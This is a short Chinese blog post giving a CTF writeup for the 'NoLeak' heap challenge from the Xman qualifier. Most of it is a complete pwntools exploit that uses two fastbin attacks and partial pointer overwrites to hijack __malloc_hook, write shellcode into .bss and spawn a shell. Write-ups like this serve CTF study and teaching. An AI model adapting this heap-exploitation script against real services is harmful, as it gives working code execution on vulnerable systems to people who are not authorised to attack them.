Xman 选拔赛 NoLeak writeup

原创

charlie_heng 于 2018-08-09 13:39:51 发布 693 收藏

分类专栏： pwn

本文链接：https://blog.csdn.net/charlie_heng/article/details/81535179

很久没发博客了，就随便写一下吧

想出一道House of Roman的题，然后去找了下类似的题目，记起来选拔赛的时候好像有一道NoLeak，那时候队里面的师傅做了，我就懒得做了，现在回顾了下，发现根本不用house of Roman就能get shell，直接partial write就可以写malloc hook，然后将shell code 写到bss段，跳到bss段get shell

下面是payload，用了两次fast bin attack

```
from pwn import *

debug=1

context.log_level='debug'

if debug:
    p=process('./NoLeak',env={'LD_PRELOAD':'./libc.so'})
    gdb.attach(p)
else:
    p=remote('',)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)

def create(sz,content):
    se('1\n')
    ru('Size: ')
    se(str(sz)+'\n')
    ru('Data: ')
    se(content)
    ru('Your choice :')

def delete(idx):
    se('2\n')
    ru('Index: ')
    se(str(idx)+'\n')
    ru('Your choice :')

def update(idx,sz,content):
```

```
    se('3\n')
    ru('Index: ')
    se(str(idx)+'\n')
    ru('Size: ')
    se(str(sz)+'\n')
    ru('Data: ')
    se(content)
    ru('Your choice :')

# fast bin attack control bss
create(0x68,'a')
create(0x68,'b')
delete(0)
update(0,8,p64(0x600ff5))
create(0x68,'c')
create(0x68,'\x00'*0x53)

# partial write control and fastbin attack control __mallock_hook+5
create(0x68,'a')
create(0x68,'b')
create(0x88,'c')
create(0x68,'d')

delete(2)
delete(1)
delete(0)

update(0,1,'\xc0')
update(2,1,'\x05')
update(1,0x69,'\x00'*0x68+'\x71')

create(0x68,'e')
create(0x68,'f')
create(0x68,'g')


# partial write control __mallock_hook
context.arch='amd64'
payload=asm(shellcraft.sh()).ljust(0x73,'\x00')+'\x10'

update(3,len(payload),payload)
update(7,8,p64(0x601005 ))

p.interactive()
```